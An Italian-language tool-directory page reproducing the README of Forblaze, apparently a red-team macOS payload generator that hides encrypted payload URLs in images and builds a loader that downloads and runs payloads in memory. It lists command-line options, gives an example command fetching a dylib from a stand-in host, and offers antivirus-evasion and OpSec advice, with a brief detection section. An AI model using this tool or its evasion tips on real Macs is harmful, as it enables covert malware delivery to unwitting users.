Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Forblaze — Forblaze - Un generatore di payload di steganografia per Mac in Python | Kitploit
Strumenti/GitHubGitHub/asaurusrex/forblaze
Generazione di PayloadExploitSteganografiaPenetration TestingRed Teaming
GitHubasaurusrex/forblaze

Forblaze

Forblaze - Un generatore di payload di steganografia per Mac in Python

Vedi Repository
5644 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Forblaze - Un generatore di payload steganografici per Mac in Python / esecuzione in memoria di Dylib/MachO

Autore: AsaurusRex

Dichiarazione di non responsabilità

NON utilizzare questo progetto per scopi diversi da legittimi lavori di red teaming/pentesting o ricerca. NON utilizzarlo per attività illegali di alcun tipo, e sappi che questo progetto è inteso per scopi di ricerca e per aiutare a far progredire le missioni sia dei team red che blue.

Post del blog

Per il post del blog riguardante Forblaze, visita https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571

Scopo

Forblaze è un progetto progettato per fornire capacità di steganografia ai payload di Mac OS. Usando python3, creerà un file Obj-C per te che verrà compilato per estrarre gli URL crittografati desiderati dal file stego, recuperare i payload tramite https ed eseguirli direttamente in memoria. Utilizza crittografia personalizzata - non è crittograficamente sicura, ma puramente per ostacolare l'analisi da parte dei motori antivirus. È una leggera deviazione rispetto alla mia precedente crittografia personalizzata per Windows, chiamata Rubicon, ed è più semplice nella pratica. Forblaze utilizza byte di intestazione e di chiusura per identificare dove nel file stego si trovano i tuoi byte crittografati, e poi li decifra con una chiave hard-coded in compile_forblaze.m. Questa chiave può essere salvata e riutilizzata, con l'effetto che un URL diverso potrebbe essere usato per recuperare un payload diverso, e lo stesso forblaze compilato dovrebbe comunque essere in grado di eseguirlo e processarlo (a condizione che i byte di intestazione e di chiusura non vengano modificati e che il nuovo file stego venga caricato nella posizione corretta).

Requisiti:

Python3 (testato solo con Python3.9+), e alcune librerie Python associate - pip3 dovrebbe occuparsi di tutte le dipendenze Python necessarie. Inoltre, verrà utilizzato clang per la compilazione, e forblaze dovrebbe essere eseguito su un mac in modo che possa essere compilato correttamente.

Utilizzo

usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]

Genera stego per impianti.

argomenti opzionali:

-h, --help mostra questo messaggio di aiuto ed esci

-innocent_path PATH Fornisci il percorso completo del file innocente da utilizzare.

-o OUTPUT Fornisci il percorso dove vuoi che venga posizionato il tuo file stego.

-len_key LENGTH_OF_KEY Fornisci un numero intero positivo che sarà la lunghezza della chiave in byte. Il valore predefinito è 16. Deve essere compreso tra 10 e 150 byte.

-url_to_encrypt URL Fornisci l'URL che vuoi inserire nel file di compilazione.

-supply_key SUPPLIED_KEY Se desideri utilizzare una chiave specifica, fornisci qui. Deve essere nel formato: -supply_key "\x6e\x60\..." - ovvero sono necessarie due doppie barre tra ogni byte, altrimenti NON FUNZIONERÀ.

-stego_location STEGO_LOCATION Devi fornire una posizione sul target in cui risiederà il file stego. È saggio seguire percorsi completi rigorosi: /Users/<>/Documents/file.jpg per esempio.

-compiled_binary COMPILED_BINARY Dai il nome del binario compilato per estrarre l'URL ed eseguire il codice in memoria dal file stego. Il valore predefinito è forblaze.

-method METHOD Seleziona quale metodo desideri utilizzare. Il metodo 1 si basa sull'esecuzione di una dylib direttamente in memoria e funziona sia con payload Go che con payload normali. Il metodo 2 si basa sull'esecuzione di un file macho direttamente in memoria, ma non funziona con payload compilati Go. Il metodo 3 è il metodo 1 ma si basa sul recupero della chiave di decifratura tramite un server, che è più amichevole per l'opsec. Il metodo predefinito è 1. NOTA: Potresti comunque dover modificare manualmente il 'module' (noto anche come RunMain) a seconda del tuo metodo di esecuzione!

-key_url KEY_URL Fornisci l'URL della chiave per decifrare il file stego.

root@kitploit:~
  python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg  -compiled_binary innocent_binary

Preoccupazioni OpSec

Onestamente, non molte. Le rilevazioni su Mac OS sono ancora piuttosto scarse, specialmente per l'attività in memoria. Come esercizio per il lettore, potresti anche chiamare byte del payload direttamente invece di un URL con alcune leggere modifiche a questo codice. Tuttavia, a seconda delle dimensioni del tuo payload, la parte di crittografia nello script Python potrebbe richiedere un tempo inaccettabilmente lungo per essere completata.

Nota: poiché questo codice compila in un binario Mach-O (non una dylib, anche se può essere cambiato abbastanza facilmente nel codice), controlli come Gatekeeper ne impediranno l'esecuzione per impostazione predefinita a meno che tu non possa firmare il payload o rimuovere l'attributo di quarantena.

Raccomanderei di cambiare cose come il numero di byte casuali generati dal valore predefinito, e di cambiare i byte di intestazione e di chiusura predefiniti che forblaze usa per trovare il payload nel file stego (così come la lunghezza di questi byte di intestazione e chiusura per essere forse più discreta).

Per la migliore OpSec, raccomando di recuperare la tua chiave di decifratura da un server esterno che controlli - così puoi controllare l'accesso a quella chiave in modo rigoroso, rendendo l'ingegneria inversa molto più difficile.

Rilevamento/Prevenzione

La steganografia è piuttosto difficile da rilevare. Se sai dove si trova il file stego, puoi iniziare a estrarre i byte sospetti dopo la fine del normale EOF del file (quindi dopo "FFD9" per i jpeg per esempio). Questi byte sospetti includeranno comunque il payload crittografato effettivo e byte casuali senza senso, che sarebbero difficili da distinguere l'uno dall'altro a meno che tu non possieda i byte di intestazione e coda specificati da Forblaze. Potresti esaminare questi byte e cercare schemi di byte ripetuti, poiché è così che tendono a funzionare i byte di intestazione e coda con forblaze, ma un operatore esperto potrebbe rendere ciò più difficile da trovare rispetto al valore predefinito. Se un payload viene catturato, ovviamente potresti fare ingegneria inversa del binario e cercare di localizzare il file stego, e poi provare a usare la chiave hard-coded e le intestazioni/code per invertire l'URL chiamato (o altri byte). Ma tutto ciò presuppone che tu abbia trovato il binario con altri mezzi.

Test

Questo strumento è stato testato su varie versioni di Mac OS, inclusi Big Sur e Catalina (sistemi x64). Per favore fammi sapere se hai problemi.

Dettagli tecnici

La crittografia personalizzata è un semplice cifrario di Cesare, in cui diversi byte della chiave vengono usati per spostare i byte del tuo testo in chiaro. Questo è il motivo per cui chiavi più grandi non sono NECESSARIAMENTE migliori per la tua crittografia - dipende dalla lunghezza del tuo testo in chiaro. Se il tuo testo in chiaro è di 50 byte, e usi una chiave di 150 byte, verranno utilizzati solo i primi 50 byte della tua chiave. Se il tuo testo in chiaro è superiore a 150 byte, invece, le chiavi più lunghe sarebbero più sicure.

La steganografia è piuttosto semplice: i byte del tuo file innocente originale vengono mantenuti uguali, e byte casuali (insieme ai tuoi byte di payload crittografati) vengono aggiunti dopo questi byte. Questi byte casuali sono per impostazione predefinita di lunghezza compresa tra 2 e 2000 (questo dovrebbe probabilmente essere cambiato per adattarsi alla dimensione del tuo testo in chiaro -> testi in chiaro più grandi dovrebbero significare che vengono generati più byte casuali).

La parte di esecuzione in memoria segue https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, così come il loader maisal (non riesco a trovare il link al momento), con il semplice cambiamento che invece di leggere byte del payload da un file su disco, vengono letti tramite http/https.

Contributi/Commenti/Critiche

Sono molto aperto a ricevere commenti e alla collaborazione! Spero che questo aiuti a generare discussioni utili sul tema della crittografia personalizzata, o fornisca ai ricercatori nuovi spunti.

Scarica lo strumento